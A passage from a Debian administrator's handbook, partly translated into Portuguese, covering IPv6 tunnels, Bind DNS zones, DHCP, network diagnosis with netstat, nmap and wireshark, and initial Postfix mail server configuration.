In addition, the syntax is very close toa standard router's configurationinterface, and network administratorswill adapt quickly to quagga.

NA PRÁTICA OPSF, BGP ou RIP?

OSPF is generally the best protocol to usefor dynamic routing on private networks,

but BGP is more common for Internet-wide routing. RIP is rather ancient, andhardly used anymore.

10.5. IPv6IPv6, successor to IPv4, is a newversion of the IP protocol designed tofix its flaws, most notably the scarcityof available IP addresses. This protocolhandles the network layer; its purposeis to provide a way to addressmachines, to convey data to theirintended destination, and to handle datafragmentation if needed (in otherwords, to split packets into chunks witha size that depends on the networklinks to be used on the path and toreassemble the chunks in their properorder on arrival).

Debian kernels include IPv6 handlingin the core kernel (which was notalways the case; the ipv6 module usedto be optional). Basic tools such asping and traceroute have their IPv6equivalents in ping6 and traceroute6,available respectively in the iputils-ping and iputils-tracepath packages.

The IPv6 network is configuredsimilarly to IPv4, in/etc/network/interfaces. But if youwant that network to be globallyavailable, you must ensure that youhave an IPv6-capable router relayingtraffic to the global IPv6 network.

Example 10.10. Exemplo de

configuração IPv6

iface eth0 inet6 static

address 2001:db8:1234:5::1:1

netmask 64

# Disabling auto-configuration

# up echo 0 >/proc/sys/net/ipv6/conf/all/autoconf

# The router is auto-configured and has no fixed address

# (/proc/sys/net/ipv6/conf/all/accept_ra). If it had:

# gateway 2001:db8:1234:5::1

If a native IPv6 connection is notavailable, the fallback method is to usea tunnel over IPv4. Freenet6 is one(free) provider of such tunnels:

→ http://www.freenet6.net/

To use a Freenet6 tunnel, you need toregister on the website, then install the

tspc package and configure the tunnel.This requires editing the/etc/tsp/tspc.conf file: userid andpassword lines received by e-mailshould be added, and server should bereplaced with broker.freenet6.net.

IPv6 connectivity is proposed to allmachines on a local network by addingthe three following directives to the/etc/tsp/tspc.conf file (assumingthe local network is connected to theeth0 interface):

host_type=router

prefix_len=48

if_prefix=eth0

The machine then becomes the accessrouter for a subnet with a 48-bit prefix.Once the tunnel is aware of thischange, the local network must be toldabout it; this implies installing theradvd daemon (from the similarly-named package). This IPv6configuration daemon has a rolesimilar to dhcpd in the IPv4 world.

The /etc/radvd.conf configurationfile must then be created (see/usr/share/doc/radvd/examples/simple-

radvd.conf as a starting point). In ourcase, the only required change is theprefix, which needs to be replaced withthe one provided by Freenet6; it can befound in the output of the ifconfigcommand, in the block concerning the

tun interface.

Then run /etc/init.d/tspc restart and/etc/init.d/radvd start, and the IPv6network should work.

TIP Programs built with IPv6

Many pieces of software need to beadapted to handle IPv6. Most of thepackages in Debian Squeeze have beenadapted already, but not all. A fewvolunteers had previously created apackage archive dedicated to softwarespecially rebuilt for IPv6; this archivewas decommissioned in March 2007, bothfor lack of time and for lack of interest(since most of the patches have beenintegrated into the official packages). Ifyour favorite package does not work with

IPv6 yet, help can be found on thedebian-ipv6 mailing-list.

→ http://lists.debian.org/debian-ipv6/

CUIDADO IPv6 e firewalls

IPv6 tunneling over IPv4 (as opposed tonative IPv6) requires the firewall toaccept the traffic, which uses IPv4protocol number 41. IPv6 connectionscan be restricted, in the same fashion asfor IPv4: the standard Debian kernelsinclude an adaptation of netfilter for IPv6.This IPv6-enabled netfilter is configuredin a similar fashion to its IPv4counterpart, except the program to use isip6tables instead of iptables.

10.6. DomainName Servers(DNS)

10.6.1. Princípio eMecanismoThe Domain Name Service (DNS) is afundamental component of theInternet: it maps host names to IPaddresses (and vice-versa), whichallows the use of www.debian.orginstead of 82.195.75.97.

DNS records are organized in zones;each zone matches either a domain (ora subdomain) or an IP address range(since IP addresses are generallyallocated in consecutive ranges). Aprimary server is authoritative on thecontents of a zone; secondary servers,usually hosted on separate machines,provide regularly refreshed copies ofthe primary zone.

Each zone can contain records ofvarious kinds (Resource Records):

A: IPv4 address.CNAME: alias (canonical name).MX: mail exchange, an emailserver. This information is used

by other email servers to findwhere to send email addressed to agiven address. Each MX recordhas a priority. The highest-priorityserver (with the lowest number) istried first (see sidebar DE VOLTAAO BÁSICO SMTP); other serversare contacted in order ofdecreasing priority if the first onedoes not reply.PTR: mapping of an IP address to aname. Such a record is stored in a“reverse DNS” zone named afterthe IP address range. For example,1.168.192.in-addr.arpa is thezone containing the reversemapping for all addresses in the192.168.1.0/24 range.

AAAA: IPv6 address.NS: maps a name to a name server.Each domain must have at leastone NS record. These recordspoint at a DNS server that cananswer queries concerning thisdomain; they usually point at theprimary and secondary servers forthe domain. These records alsoallow DNS delegation; forinstance, the falcot.com zone caninclude an NS record forinternal.falcot.com, whichmeans that theinternal.falcot.com zone ishandled by another server. Ofcourse, this server must declare aninternal.falcot.com zone.

The reference name server, Bind, wasdeveloped and is maintained by ISC(Internet Software Consortium). It isprovided in Debian by the bind9package. Version 9 brings two majorchanges compared to previousversions. First, the DNS server can nowrun under an unprivileged user, so thata security vulnerability in the serverdoes not grant root privileges to theattacker (as was seen repeatedly withversions 8.x).

Furthermore, Bind supports theDNSSEC standard for signing (andtherefore authenticating) DNS records,which allows blocking any spoofing ofthis data during man-in-the-middle

attacks.

CULTURA DNSSEC

The DNSSEC norm is quite complex; thispartly explains why it's not in widespreadusage yet (even if it perfectly coexistswith DNS servers unaware of DNSSEC).To understand all the ins and outs, youshould check the following article.

→ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.6.2. ConfigurandoArquivos de configuração para o bind,independente da versão, têm a mesma

estrutura.

The Falcot administrators created aprimary falcot.com zone to storeinformation related to this domain, anda 168.192.in-addr.arpa zone forreverse mapping of IP addresses in thelocal networks.

CAUTION Names of reverse zones

Reverse zones have a particular name.The zone covering the 192.168.0.0/16network need to be named 168.192.in-addr.arpa: the IP address components arereversed, and followed by the in-addr.arpa suffix.

DICA Testando o servidor DNS

The host command (in the bind9-hostpackage) queries a DNS server, and canbe used to test the server configuration.For example, host machine.falcot.comlocalhost checks the local server's replyfor the machine.falcot.com query. Thehost ipaddress localhost tests the reverseresolution.

The following configuration excerpts,taken from the Falcot files, can serveas starting points to configure a DNSserver:

Example 10.11. Excerpt of/etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

Example 10.12. Trecho do

/etc/bind/db.falcot.com

; falcot.com Zone

; admin.falcot.com. => zone contact: [email protected]

$TTL 604800

@ IN SOA falcot.com. admin.falcot.com. (

20040121 ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

604800 ) ; Negative Cache TTL

;

; The @ refers to the zone name ("falcot.com" here)

; or to $ORIGIN if that directive has been used

;

@ IN NS ns

@ IN NS ns0.xname.org.

interne IN NS 192.168.0.2

@ IN A 212.94.201.10

@ IN MX 5 mail

@ IN MX 10 mail2

ns IN A 212.94.201.10

mail IN A 212.94.201.10

mail2 IN A 212.94.201.11

www IN A 212.94.201.11

dns IN CNAME ns

CUIDADO Sintaxe de um nome

The syntax of machine names followsstrict rules. For instance, machine impliesmachine.domain. If the domain nameshould not be appended to a name, saidname must be written as machine. (with adot as suffix). Indicating a DNS nameoutside the current domain thereforerequires a syntax such asmachine.otherdomain.com. (with the finaldot).

Example 10.13. Trecho do/etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.falcot.com. => zone contact: [email protected]

$TTL 604800

@ IN SOA ns.interne.falcot.com. admin.falcot.com. (

20040121 ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

604800 ) ; Negative Cache TTL

IN NS ns.interne.falcot.com.

; 192.168.0.1 -> arrakis

1.0 IN PTR arrakis.interne.falcot.com.

; 192.168.0.2 -> neptune

2.0 IN PTR neptune.interne.falcot.com.

; 192.168.3.1 -> pau

1.3 IN PTR pau.interne.falcot.com.

10.7. DHCP

10.7.1. ApresentaçãoDHCP (for Dynamic HostConfiguration Protocol) is a protocolby which a machine can automaticallyget its network configuration when itboots. This allows centralizing themanagement of networkconfigurations, and ensuring that alldesktop machines get similar settings.

A DHCP server provides manynetwork-related parameters. The mostcommon of these is an IP address and

the network where the machinebelongs, but it can also provide otherinformation, such as DNS servers,WINS servers, NTP servers, and so on.

The Internet Software Consortium(also involved in developing bind) isthe main author of the DHCP server.The matching Debian package is isc-dhcp-server.

10.7.2. ConfigurandoThe first elements that need to beedited in the DHCP serverconfiguration file(/etc/dhcp/dhcpd.conf) are the

domain name and the DNS servers. Ifthis server is alone on the localnetwork (as defined by the broadcastpropagation), the authoritativedirective must also be enabled (oruncommented). One also needs tocreate a subnet section describing thelocal network and the configurationinformation to be provided. Thefollowing example fits a192.168.0.0/24 local network with arouter at 192.168.0.1 serving as thegateway. Available IP addresses are inthe range 192.168.0.128 to192.168.0.254.

Example 10.14. Trecho do/etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.7.3. DHCP e DNSA nice feature is the automatedregistering of DHCP clients in the DNSzone, so that each machine gets asignificant name (rather thansomething impersonal such asmachine-192-168-0-

131.internal.falcot.com). Usingthis feature requires configuring theDNS server to accept updates to theinternal.falcot.com DNS zone fromthe DHCP server, and configuring thelatter to submit updates for eachregistration.

In the bind case, the allow-updatedirective needs to be added to each ofthe zones that the DHCP server is toedit (the one for theinternal.falcot.com domain, andthe reverse zone). This directive liststhe IP addresses allowed to performthese updates; it should thereforecontain the possible addresses of theDHCP server (both the local address

and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Beware! A zone that can be modifiedwill be changed by bind, and the latterwill overwrite its configuration files atregular intervals. Since this automatedprocedure produces files that are lesshuman-readable than manually-writtenones, the Falcot administrators handlethe internal.falcot.com domainwith a delegated DNS server; thismeans the falcot.com zone file staysfirmly under their manual control.

The DHCP server configuration excerptabove already includes the directives

required for DNS zone updates: theyare the ddns-update-style interim;and ddns-domain-name"internal.falcot.com"; lines in theblock describing the subnet.

10.8. Ferramentasde Diagnóstico deRedeWhen a network application does notrun as expected, it is important to beable to look under the hood. Even wheneverything seems to run smoothly,running a network diagnosis can helpensure everything is working as itshould. Several diagnosis tools existsfor this purpose; each one operates on adifferent level.

10.8.1. DiagnósticoLocal: netstatLet's first mention the netstatcommand (in the net-tools package); itdisplays an instant summary of amachine's network activity. Wheninvoked with no argument, thiscommand lists all open connections;this list can be very verbose since itincludes many Unix-domain sockets(widely used by daemons) which do notinvolve the network at all (for example,dbus communication, X11 traffic, andcommunications between virtualfilesystems and the desktop).

Common invocations therefore useoptions that alter netstat's behavior.The most frequently used optionsinclude:

-t, which filters the results toonly include TCP connections;-u, which works similarly forUDP connections; these optionsare not mutually exclusive, andone of them is enough to stopdisplaying Unix-domainconnections;-a, to also list listening sockets(waiting for incomingconnections);-n, to display the resultsnumerically: IP addresses (no

DNS resolution), port numbers (noaliases as defined in/etc/services) and user ids (nologin names);-p, to list the processes involved;this option is only useful whennetstat is run as root, sincenormal users will only see theirown processes;-c, to continuously refresh the listof connections.

Other options, documented in thenetstat(8) manual page, provide aneven finer control over the displayedresults. In practice, the first fiveoptions are so often used together thatsystems and network administrators

practically acquired netstat -tupan asa reflex. Typical results, on a lightlyloaded machine, may look like thefollowing:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2224/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 994/exim4

tcp 0 0 192.168.1.241:22 192.168.1.128:47372 ESTABLISHED 2944/sshd: roland [

tcp 0 0 192.168.1.241:22 192.168.1.128:32970 ESTABLISHED 2232/sshd: roland [

tcp6 0 0 :::22 :::* LISTEN 2224/sshd

tcp6 0 0 ::1:25 :::* LISTEN 994/exim4

udp 0 0 0.0.0.0:68 0.0.0.0:* 633/dhclient

udp 0 0 192.168.1.241:123 0.0.0.0:* 764/ntpd

udp 0 0 127.0.0.1:123 0.0.0.0:* 764/ntpd

udp 0 0 0.0.0.0:123 0.0.0.0:* 764/ntpd

udp6 0 0 fe80::a00:27ff:fe6c:123 :::* 764/ntpd

udp6 0 0 2002:52e0:87e4:0:a0:123 :::* 764/ntpd

udp6 0 0 ::1:123 :::* 764/ntpd

udp6 0 0 :::123 :::* 764/ntpd

As expected, this lists establishedconnections, two SSH connections inthis case, and applications waiting forincoming connections (listed asLISTEN), notably the Exim4 emailserver listening on port 25.

10.8.2. DiagnósticoRemoto: nmapnmap (in the similarly-namedpackage) is, in a way, the remoteequivalent for netstat. It can scan a setof “well-known” ports for one or

several remote servers, and list theports where an application is found toanswer to incoming connections.Furthermore, nmap is able to identifysome of these applications, sometimeseven their version number. Thecounterpart of this tool is that, since itruns remotely, it cannot provideinformation on processes or users;however, it can operate on severaltargets at once.

A typical nmap invocation only usesthe -A option (so that nmap attempts toidentify the versions of the serversoftware it finds) followed by one ormore IP addresses or DNS names ofmachines to scan. Again, many more

options exist to finely control thebehavior of nmap; please refer to thedocumentation in the nmap(1) manualpage.

# nmap scouzmir

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:52 CEST

Interesting ports on 192.168.1.101:

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

111/tcp open rpcbind

MAC Address: 52:54:00:99:01:01 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds

# nmap -A localhost

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-12 18:59 CEST

Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.

Interesting ports on localhost (127.0.0.1):

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.5p1 Debian 4 (protocol 2.0)

| ssh-hostkey: 1024 af:07:60:17:16:64:6f:ee:c4:ca:b5:64:1e:4a:4c:22 (DSA)

|_ 2048 25:b0:aa:6b:11:5a:56:b6:8d:2d:ed:b3:16:17:96:33 (RSA)

25/tcp open smtp Exim smtpd 4.72

| smtp-commands: EHLO scouzmir.internal.placard.fr.eu.org Hello localhost [127.0.0.1], SIZE 52428800, PIPELINING, HELP

|_ HELP Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

111/tcp open rpcbind

| rpcinfo:

| 100000 2 111/udp rpcbind

| 100024 1 53273/udp status

| 100000 2 111/tcp rpcbind

|_ 100024 1 41127/tcp status

No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=5.00%D=10/12%OT=22%CT=1%CU=34421%PV=N%DS=0%G=Y%TM=4CB4941A%P=i686

OS:-pc-linux-gnu)SEQ(SP=BF%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=8)OPS(O1=M400CST1

OS:1NW4%O2=M400CST11NW4%O3=M400CNNT11NW4%O4=M400CST11NW4%O5=M400CST11NW4%O6

OS:=M400CST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%D

OS:F=Y%T=40%W=8018%O=M400CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=

OS:0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW4%RD=0%Q=

OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=

OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF

OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=

OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 0 hops

Service Info: Host: scouzmir.internal.placard.fr.eu.org; OS: Linux

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 21.32 seconds

As expected, the SSH and Exim4applications are listed. Note that not allapplications listen on all IP addresses;since Exim4 is only accessible on thelo loopback interface, it only appearsduring an analysis of localhost andnot when scanning scouzmir (whichmaps to the eth0 interface on the same

machine).

10.8.3. Sniffers:tcpdump andwiresharkSometimes, one needs to look at whatactually goes on the wire, packet bypacket. These cases call for a “frameanalyzer”, more widely known as asniffer. Such a tool observes all thepackets that reach a given networkinterface, and displays them in a user-friendly way.

The venerable tool in this domain is

tcpdump, available as a standard toolon a wide range of platforms. It allowsmany kinds of network traffic capture,but the representation of this trafficstays rather obscure. We will thereforenot describe it in further detail.

A more recent (and more modern) tool,wireshark (in the wireshark package),is slowly becoming the new referencein network traffic analysis due to itsmany decoding modules that allow fora simplified analysis of the capturedpackets. The packets are displayedgraphically with an organization basedon the protocol layers. This allows auser to visualize all protocols involvedin a packet. For example, given a

packet containing an HTTP request,wireshark displays, separately, theinformation concerning the physicallayer, the Ethernet layer, the IP packetinformation, the TCP connectionparameters, and finally the HTTPrequest itself.

Figure 10.1. O analisador de tráfegode rede wireshark

In our example, the packets travelingover SSH are filtered out (with the!tcp.port == 22 filter). The packetcurrently displayed was developed atthe TCP and HTTP layers.

DICA wireshark sem interface gráfica:

tshark

When one cannot run a graphicalinterface, or does not wish to do so forwhatever reason, a text-only version ofwireshark also exists under the nametshark (in a separate tshark package).Most of the capture and decoding featuresare still available, but the lack of agraphical interface necessarily limits theinteractions with the program (filteringpackets after they've been captured,tracking of a given TCP connection, andso on). It can still be used as a firstapproach. If further manipulations areintended and require the graphicalinterface, the packets can be saved to afile and this file can be loaded into agraphical wireshark running on anothermachine.

CULTURA ethereal e wireshark

wireshark seems to be relatively young;however, it is only the new name for asoftware application previously known asethereal. When its main developer leftthe company where he was employed, hewas not able to arrange for the transfer ofthe registered trademark. As analternative he went for a name change;only the name and the icons for thesoftware actually changed.

Chapter 11. Serviçosde Rede: Postfix,Apache, NFS,Samba, Squid,LDAPServiços de rede são programas que osusuários interagem diretamente no seudia-a-dia. Eles são a ponta do icebergueda informação, e este capítulo focaneles; as partes escondidas nas quaiseles dependem são a infraestrutura quenós já descrevemos.

11.1. Servidor deCorreio EletrônicoOs administradores da Falcot Corpselecionaram o Postfiz como servidorde correio eletrônico, devido a suaconfiabilidade e fácil configuração. Defato, seu projeto reforça que cada tarefaé implementada em um processo comum conjunto mínimo de permissões,que é uma medida de mitigação contraproblemas de segurança.

ALTERNATIVA O servidor Exim4

O Debian utiliza os Exim4 como o

servidor de e-mail padrão (eis o porqueda instalação inicial incluir o Exim4). Aconfiguração é provida por um pacotediferente, exim4-config, eautomaticamente customizado baseadonas respostas de um conjunto de questõesno Debconf muito similar as questõesfeitas pelo pacote postfix.

The configuration can be either in onesingle file(/etc/exim4/exim4.conf.template) orsplit across a number of configurationsnippets stored under/etc/exim4/conf.d/. In both cases, thefiles are not used directly by Exim4, butthey are aggregated or parsed (by theupdate-exim4.conf command) into theauthoritative file,/etc/exim4/exim4.conf.template (whichis compiled to

/var/lib/exim4/config.autogenerated,when Exim4 starts). update-exim4.confallows replacing some tags in theconfiguration snippets by data deductedfrom the answers to the Debconfquestions.

A sintaxe do arquivo de configuração doExim4 tem suas particularidades e suacurva de aprendizado, contudo, uma vezque essas particularidades sãocompreendidas, o Exim4 se torna umservidor de e-mail muito completo epoderoso, como evidenciado pelas suasmuitas páginas de documentação.

→ http://www.exim.org/docs.html

11.1.1. Instalando o

PostfixO pacote postfix incluí um o daemonSMTP principal. Outros pacotes (comoo postfix-ldap e postfix-pgsql)adicional funcionalidades extras aoPostfix, incluindo a bancos de dados demapeamento. Você só deve instalá-losse souber que você precisa dosmesmos.

DE VOLTA AO BÁSICO SMTP

SMTP (Protocolo Simples paraTransferência de Correio) é um protocolousado por servidores de e-mail paraintercambiar e rotear e-mails.

Diversas questões Debconf são feitasdurante o processo de instalação dopacote. As respostas permitem gerar aprimeira versão do arquivo deconfiguração /etc/postfix/main.cf.

The first question deals with the typeof setup. Only two of the proposedanswers are relevant in case of anInternet-connected server, “Internetsite” and “Internet with smarthost”.The former is appropriate for a serverthat receives incoming email and sendsoutgoing email directly to itsrecipients, and is therefore well-adapted to the Falcot Corp case. Thelatter is appropriate for a serverreceiving incoming email normally,

but that sends outgoing email throughan intermediate SMTP server — the“smarthost” — rather than directly tothe recipient's server. This is mostlyuseful for individuals with a dynamicIP address, since many email serversreject messages coming straight fromsuch an IP address. In this case, thesmarthost will usually be the ISP'sSMTP server, which is alwaysconfigured to accept email comingfrom the ISP's customers and forwardit appropriately. This setup (with asmarthost) is also relevant for serversthat are not permanently connected tothe internet, since it avoids having tomanage a queue of undeliverablemessages that need to be retried later.

VOCABULÁRIO ISP

ISP é acrônico para "Internet ServiceProvider" (Provedor de Serviços deInternet). Isto cobre uma entidade,normalmente uma empresa, que provêconexões a internet e seus serviçosbásicos associados (e-mail, notícias eassim por diante).

The second question deals with the fullname of the machine, used to generateemail addresses from a local username; the full name of the machineends up as the part after the at-sign(“@”). In the case of Falcot, the answershould be mail.falcot.com. This isthe only question asked by default, but

the configuration it leads to is notcomplete enough for the needs ofFalcot, which is why the administratorsrun dpkg-reconfigure postfix so as tobe able to customize more parameters.

One of the extra questions asks for allthe domain names related to thismachine. The default list includes itsfull name as well as a few synonymsfor localhost, but the mainfalcot.com domain needs to be addedby hand. More generally, this questionshould usually be answered with all thedomain names for which this machineshould serve as an MX server; in otherwords, all the domain names for whichthe DNS says this machine will accept

email. This information ends up in themydestination variable of the mainPostfix configuration file,/etc/postfix/main.cf.

Figure 11.1. Role of the DNS MXrecord while sending a mail

EXTRA Consultando os registros MX

Quando o DNS não contém um registroMX para o domínio, o servidor e-mailtentará enviar as mensagens para ohospedeiro em si, usando o registro

correspondente A (ou AAAA em IPv6).

Em alguns casos, a instalação podeperguntar quais redes devem serpermitidas a enviar e-mail usando amáquina. Em sua configuração padrão,o Postfix somente aceita e-mails vindoda máquina em si, a rede localnormalmente será adicionada. Osadministradores da Falcot Corpadicionaram 192.168.0.0/16 napergunta padrão. Se a questão não éfeita, a variável relevante no arquivo deconfiguração é mynetworks, comovisto no exemplo abaixo.

E-mails locais podem ser enviados

através do comando procmail. Estaferramenta permite aos usuáriosorganizarem seus e-mail de entrada deacordo com a regras armazenadas emseu arquivo ~/.procmailrc.

Após este primeiro passo, osadministradores conseguiram oseguinte arquivo de configuração; eleserá usado como ponto de partida paraadicionarmos funcionalidades extrasnas próximas seções.

Example 11.1. Arquivo inicial/etc/postfix/main.cf

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific: Specifying a file name will cause the first

# line of that file to be used as the name. The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_use_tls=yes

smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache

smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for

# information on enabling SSL in the smtp client.

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

myorigin = /etc/mailname

mydestination = mail.falcot.com, falcot.com, localhost, localhost.localdomain

relayhost =

mynetworks = 127.0.0.0/8 192.168.0.0/16

mailbox_command = procmail -a "$EXTENSION"

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

inet_protocols = all

SECURITY Snake oil SSL certificates

The snake oil certificates, like the snakeoil “medicine” sold by unscrupulousquacks in old times, have absolutely novalue, since they are generated similarlyon all Debian systems, with the same“private” part. They should only be usedfor testing purposes, and normal service

must use real certificates; these can begenerated with the procedure described inSection 10.2.1.1, “Infraestrutura deChaves Públicas: easy-rsa”.

11.1.2. ConfigurandoDomínios VirtuaisO servidor de e-mails pode receber e-mails de outros domínios além dodomínio principal; estes sãoconhecidos como domínios virtuais. Namaioria dos casos quando isto ocorre,os e-mails não ultimamente destinadosaos usuários locais. O Postfix provêduas funcionalidades interessantes para

manipular domínios virtuais.

CUIDADO Domínios virtuais e domínioscanônicos

Nenhum dos domínios virtuais deve serreferenciado na variável mydestination;está variável somente contém os nomes"canônicos" dos domínios diretamenteassociados a máquina e seus usuárioslocais.

11.1.2.1. Virtual AliasDomains

A virtual alias domain only containsaliases, i.e. addresses that only forward

emails to other addresses.

Tal domínio é ativado ao se adicionarseu nome a variávelvirtual_alias_domains, e referenciarum arquivo de mapa de endereços avariável virtual_alias_maps.

Example 11.2. Diretivas para seremadicionadas no arquivo/etc/postfix/main.cf

virtual_alias_domains = falcotsbrand.tm.fr

virtual_alias_maps = hash:/etc/postfix/virtual

The /etc/postfix/virtual filedescribes mapping with a ratherstraightforward syntax: each linecontains two fields separated by

whitespace; the first field is the aliasname, the second field is a list of emailaddresses where it redirects. Thespecial @domain.tm.fr syntax coversall remaining aliases in a domain.

Example 11.3. Arquivo de exemplo/etc/postfix/virtual

[email protected] [email protected]

[email protected] [email protected], [email protected]

# The alias below is generic and covers all addresses within

# the falcotsbrand.tm.fr domain not otherwise covered by this file.

# These addresses forward email to the same user name in the

# falcot.com domain.

@falcotsbrand.tm.fr @falcot.com

11.1.2.2. Virtual MailboxDomains

CAUTION Combined virtual domain?

Postfix does not allow using the samedomain in both virtual_alias_domainsand virtual_mailbox_domains. However,every domain ofvirtual_mailbox_domains is implicitlyincluded in virtual_alias_domains,which makes it possible to mix aliasesand mailboxes within a virtual domain.

Messages addressed to a virtualmailbox domain are stored inmailboxes not assigned to a localsystem user.

Enabling a virtual mailbox domainrequires naming this domain in the

virtual_mailbox_domains variable,and referencing a mailbox mapping filein virtual_mailbox_maps. Thevirtual_mailbox_base parametercontains the directory under which themailboxes will be stored.

The virtual_uid_maps parameter(respectively virtual_gid_maps)references the file containing themapping between the email addressand the system user (respectivelygroup) that “owns” the correspondingmailbox. To get all mailboxes ownedby the same owner/group, the syntax isstatic:5000.

Example 11.4. Diretivas para serem

adicionadas no arquivo/etc/postfix/main.cf

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

Again, the syntax of the/etc/postfix/vmailbox file is quitestraightforward: two fields separatedwith whitespace. The first field is anemail address within one of the virtualdomains, and the second field is thelocation of the associated mailbox(relative to the directory specified invirtual_mailbox_base). If the mailboxname ends with a slash (/), the emailswill be stored in the maildir format;otherwise, the traditional mbox format

will be used. The maildir format uses awhole directory to store a mailbox,each individual message being storedin a separate file. In the mbox format,on the other hand, the whole mailbox isstored in one file, and each line startingwith “From ” (From followed by aspace) signals the start of a newmessage.

Example 11.5. O arquivo/etc/postfix/vmailbox

# Jean's email is stored as maildir, with

# one file per email in a dedicated directory

[email protected] falcot.org/jean/

# Sophie's email is stored in a traditional "mbox" file,

# with all mails concatenated into one single file

[email protected] falcot.org/sophie

11.1.3. Restrições paraRecebimento e EnvioThe growing number of unsolicitedbulk emails (spam) requires beingincreasingly strict when decidingwhich emails a server should accept.This section presents some of thestrategies included in Postfix.

CULTURA O problema do spam

“Spam” is a generic term used todesignate all the unsolicited commercialemails (also known as UCEs) that floodour electronic mailboxes; theunscrupulous individuals sending them

are known as spammers. They care littleabout the nuisance they cause, sincesending an email costs very little, andonly a very small percentage of recipientsneed to be attracted by the offers for thespamming operation to make more moneythan it costs. The process is mostlyautomated, and any email address madepublic (for instance, on a web forum, oron the archives of a mailing list, or on ablog, and so on) will be discovered by thespammers' robots, and subjected to anever-ending stream of unsolicitedmessages.

All system administrators try to face thisnuisance with spam filters, but of coursespammers keep adjusting to try to workaround these filters. Some even rentnetworks of machines compromised by aworm from various crime syndicates.

Recent statistics estimate that up to 95%of all emails circulating on the Internetare spam!

11.1.3.1. Restrições deAcesso Baseados no IP

A diretivasmtpd_client_restrictions controlaquais máquinas tem permissão para secomunicar com o servidor de e-mail.

Example 11.6. Restrições Baseadasno Endereço do Cliente

smtpd_client_restrictions = permit_mynetworks,

warn_if_reject reject_unknown_client,

check_client_access hash:/etc/postfix/access_clientip,

reject_rbl_client sbl-xbl.spamhaus.org,

reject_rbl_client list.dsbl.org

When a variable contains a list of rules,as in the example above, these rules areevaluated in order, from the first to thelast. Each rule can accept the message,reject it, or leave the decision to afollowing rule. As a consequence, ordermatters, and simply switching tworules can lead to a widely differentbehavior.

A diretiva permit_mynetworks, usadacomo primeira regra, aceita e-mailsvindos de uma máquina na rede local(como definido na variável deconfiguração mynetworks).

